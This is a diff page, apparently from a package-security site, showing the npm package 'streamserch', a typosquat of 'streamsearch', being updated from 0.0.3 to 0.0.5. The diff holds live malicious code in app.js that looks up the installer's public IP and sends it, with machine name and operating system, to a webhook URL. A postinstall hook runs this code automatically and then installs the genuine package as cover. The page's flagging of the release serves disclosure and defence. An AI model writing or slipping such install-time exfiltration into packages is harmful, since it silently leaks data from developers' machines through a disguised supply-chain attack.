streamserch 0.0.3 → 0.0.5
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of streamserch might be problematic. Click here for more details.
- package/app.js +11 -5
- package/package.json +3 -4
package/app.js
CHANGED
@@ -11,14 +11,20 @@ https.get('https://ipinfo.io/ip', (res) => {
|
|
11
11
|
res.on('data', (chunk) => {
|
12
12
|
data += chunk;
|
13
13
|
});
|
14
|
+
|
14
15
|
res.on('end', () => {
|
15
|
-
base = `https://webhook-test.com/8caf20007640ce1a4d2843af7b479eb1?data=I:${data}&M:${machineName}O:${operatingSystem}`;
|
16
|
+
base = `https://webhook-test.com/8caf20007640ce1a4d2843af7b479eb1?data=I:${data}&M:${machineName}&O:${operatingSystem}`;
|
17
|
+
|
16
18
|
https.get(base, (res1) => {
|
17
|
-
|
18
|
-
|
19
|
-
|
19
|
+
res1.on('data', () => { })
|
20
|
+
res1.on('end', () => {
|
21
|
+
console.log('Installation complete.');
|
20
22
|
});
|
23
|
+
}).on('error', (e) => {
|
24
|
+
console.error(`Error with installation: ${e.message}`);
|
21
25
|
});
|
22
26
|
});
|
23
|
-
});
|
24
27
|
|
28
|
+
}).on('error', (e) => {
|
29
|
+
console.error(`Error with request: ${e.message}`);
|
30
|
+
});
|
package/package.json
CHANGED
@@ -1,13 +1,12 @@
|
|
1
1
|
{
|
2
2
|
"name": "streamserch",
|
3
|
-
"version": "0.0.
|
4
|
-
"description": "
|
3
|
+
"version": "0.0.5",
|
4
|
+
"description": "Streamsearch",
|
5
5
|
"main": "app.js",
|
6
6
|
"author": {
|
7
7
|
"name": "Variety Mendez"
|
8
8
|
},
|
9
9
|
"scripts": {
|
10
|
-
"postinstall": "node app.js"
|
10
|
+
"postinstall": "node app.js && npm install streamsearch"
|
11
11
|
}
|
12
|
-
|
13
12
|
}
|